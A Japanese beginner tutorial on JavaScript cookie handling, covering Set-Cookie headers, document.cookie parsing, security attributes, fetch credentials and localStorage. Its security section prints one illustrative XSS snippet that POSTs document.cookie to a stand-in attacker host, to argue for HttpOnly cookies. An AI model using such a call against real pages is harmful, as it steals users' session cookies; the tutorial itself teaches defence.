JavaScript | Web API:通信・ネットワーク系 - Cookie の扱い

JavaScript JavaScript
スポンサーリンク

Cookie は「ブラウザが自動で持ち運んでくれる小さなメモ」

まずイメージからいきます。
Cookie は、「ブラウザがサーバーとの間で自動的に持ち運んでくれる小さなメモ」 です。

サーバーが「このユーザーにはこれを覚えておいて」とブラウザに渡す
ブラウザはそのドメインにアクセスするたびに、そのメモを自動で一緒に送る

これによって、

ログイン状態を維持する
言語設定や地域設定を覚えておく
簡単なトラッキングをする

といったことが実現されています。

JavaScript からも Cookie を触れますが、
「どこまでできるか」「何が危険か」をちゃんと理解しておくことが大事です。


Cookie が実際にどうやり取りされているか

サーバー → ブラウザ:Set-Cookie ヘッダー

サーバーは、レスポンスヘッダーで Cookie を渡します。

Set-Cookie: sessionId=abc123; Path=/; HttpOnly; Secure

ブラウザはこれを受け取ると、
そのドメイン用の Cookie として保存します。

以後、そのドメインにリクエストを送るとき、
ブラウザは自動的にこういうヘッダーを付けます。

Cookie: sessionId=abc123

ここが重要で、
「JavaScript が送っている」のではなく「ブラウザが自動で付けている」 という点です。

ブラウザ → サーバー:Cookie ヘッダー

fetch しようが <img> だろうが、
同じオリジンへのリクエストであれば、
条件を満たす Cookie は自動的に付いていきます。

これによって、

「このリクエストは、さっきログインしたあのユーザーのものだ」

とサーバーが判断できるわけです。


JavaScript からの Cookie の基本操作

document.cookie で「文字列として」扱う

JavaScript から Cookie を触るときの入り口は document.cookie です。

console.log(document.cookie);
JavaScript

例えば、こんな文字列が返ってきます。

theme=dark; loggedIn=true

ここで注意してほしいのは、
document.cookie は「全部まとめた 1 本の文字列」 だということです。
オブジェクトでも配列でもありません。

Cookie をセットする(書き込む)

Cookie をセットするときも、document.cookie に文字列を書き込みます。

document.cookie = "theme=dark";
JavaScript

これで theme=dark という Cookie が追加されます。

有効期限やパスなども一緒に指定できます。

document.cookie = "theme=dark; Max-Age=86400; Path=/";
JavaScript

Max-Age=86400 は「この Cookie は 86400 秒(1 日)有効」という意味です。
Path=/ は「サイト全体でこの Cookie を送る」という指定です。

Cookie を読む(パースする)

document.cookie はただの文字列なので、
自分でパースする必要があります。

function getCookie(name) {
  const pairs = document.cookie.split(";");
  for (const pair of pairs) {
    const [key, value] = pair.trim().split("=");
    if (key === name) {
      return value;
    }
  }
  return null;
}

const theme = getCookie("theme");
console.log(theme); // "dark" など
JavaScript

ここでのポイントは、

document.cookie"key=value; key2=value2" という形式
; で分割して、= でさらに分割する

という素朴な処理で十分なことが多い、ということです。


Cookie の属性(オプション)がめちゃくちゃ重要

有効期限:Max-Age / Expires

Cookie には「いつまで有効か」を指定できます。

Max-Age=秒数
今から何秒後まで有効か。

Expires=日時
特定の日時まで有効か。

例えば、1 日だけ有効な Cookie をセットするならこうです。

document.cookie = "theme=dark; Max-Age=86400; Path=/";
JavaScript

Max-AgeExpires を付けないと、
その Cookie は「セッション Cookie」になり、
ブラウザを閉じると消えます。

Path / Domain:どのパス・どのサブドメインで送るか

Path は「どのパスに対するリクエストで Cookie を送るか」を決めます。

document.cookie = "theme=dark; Path=/";
JavaScript

Path=/ なら、そのドメイン内のすべてのパスで送られます。

Path=/app とすると、/app 以下のパスにだけ送られます。

Domain は「どのサブドメインまで含めるか」を決めます。
通常はサーバー側で設定しますが、
example.com に対して .example.com を指定すると、
api.example.com などでも送られるようになります。

Secure / HttpOnly / SameSite:セキュリティ系の属性

ここが Cookie の世界で一番重要な部分です。

Secure
HTTPS のときだけ送る。
HTTP では送られないので、盗聴リスクを減らせる。

HttpOnly
JavaScript から document.cookie で読めなくなる。
XSS で盗まれにくくなる。

SameSite
「他サイトからのリクエストに Cookie を付けるかどうか」を制御する。
CSRF 対策に関わる。

例えば、セッション Cookie にはこういう属性がよく付きます。

Set-Cookie: sessionId=abc123; Path=/; Secure; HttpOnly; SameSite=Lax

JavaScript からはこの Cookie を読めません(HttpOnly のため)。
でも、ブラウザはサーバーへのリクエストに自動で付けてくれます。


fetch と Cookie の関係

同一オリジンなら基本的に自動で付く

同じオリジンに対して fetch する場合、
そのオリジン用の Cookie は自動的に送られます。

// ページが https://example.com 上で動いているとする
const res = await fetch("/api/me");
JavaScript

このとき、/api/me へのリクエストには、
example.com 用の Cookie が付いていきます。

ログインセッションなどは、この仕組みで維持されます。

クロスオリジンで Cookie を送りたい場合(credentials)

別オリジン(例: https://frontend.example.comhttps://api.example.com)に
Cookie を付けてリクエストしたい場合は、
fetch 側で明示的に指定が必要です。

const res = await fetch("https://api.example.com/me", {
  credentials: "include",
});
JavaScript

credentials: "include" を付けると、
クロスオリジンでも Cookie を送るようになります。

ただし、その場合はサーバー側の CORS 設定も、

Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin* ではなく具体的なオリジン

など、慎重な設定が必要になります。


セキュリティの観点から見た「Cookie の扱い方」

JavaScript から触れる Cookie は「盗まれうる」と思え

document.cookie で読める Cookie は、
XSS が起きた瞬間に攻撃者からも読めます。

// 攻撃者のスクリプトのイメージ
fetch("https://attacker.example.com/steal", {
  method: "POST",
  body: document.cookie,
});
JavaScript

だからこそ、

本物のセッショントークン
認証に直結する機密情報

のようなものは、
HttpOnly Cookie にして JavaScript から触れないようにする のが基本です。

JavaScript から触る Cookie は、
「盗まれても致命傷にならないもの」に限定するのが安全です。

localStorage と Cookie の役割の違いを意識する

localStorage
JavaScript から自由に読める
サーバーには自動送信されない
容量は Cookie より大きい

Cookie
サーバーに自動で送られる
サイズはかなり小さい(1 Cookie あたり数 KB 程度)
属性(Secure / HttpOnly / SameSite)でセキュリティ制御ができる

「サーバーに毎回自動で送ってほしい情報」
→ Cookie 向き

「クライアント側だけで持っておきたい情報」
→ localStorage / sessionStorage 向き

という役割分担を意識できると、設計がきれいになります。


具体例:テーマ設定は Cookie でも localStorage でも書ける

Cookie でテーマを保存する例

function setTheme(theme) {
  document.cookie = `theme=${theme}; Max-Age=31536000; Path=/`;
}

function getTheme() {
  const pairs = document.cookie.split(";");
  for (const pair of pairs) {
    const [key, value] = pair.trim().split("=");
    if (key === "theme") return value;
  }
  return null;
}
JavaScript

これで、サーバー側も Cookie: theme=dark を見て、
初期 HTML をダークテーマで返す、などができます。

localStorage でテーマを保存する例

function setTheme(theme) {
  localStorage.setItem("theme", theme);
}

function getTheme() {
  return localStorage.getItem("theme");
}
JavaScript

こちらはサーバーには自動送信されません。
クライアント側だけで完結する設定です。

どちらを選ぶかは、

サーバー側でもその情報を使いたいか
初回リクエストの時点でその情報が必要か

といった観点で決めます。


初心者として Cookie で本当に押さえておいてほしいこと

Cookie は「ブラウザがサーバーと自動でやり取りする小さなメモ」
サーバーは Set-Cookie で渡し、ブラウザは Cookie ヘッダーで返す
JavaScript からは document.cookie で文字列として読んだり書いたりする
属性(Max-Age / Path / Secure / HttpOnly / SameSite)がセキュリティと挙動を決める
セッション用の重要な Cookie は HttpOnly にして JS から触れないようにする
fetch でクロスオリジンに Cookie を送りたいときは credentials: "include" と CORS 設定がセット

おすすめの小さな練習は、

自分の開発用サーバーで Set-Cookie を返してみる
ブラウザの「Application」タブで Cookie がどう見えるか確認する
document.cookie で読んでみる
SecureHttpOnly を付けたり外したりして挙動の違いを見る

という流れです。

Cookie は「なんか怖そう」で避けられがちですが、
仕組みを一度ちゃんと理解すると、
「サーバーとブラウザの関係を支える、かなり賢いメモ帳」 に見えてきます。

タイトルとURLをコピーしました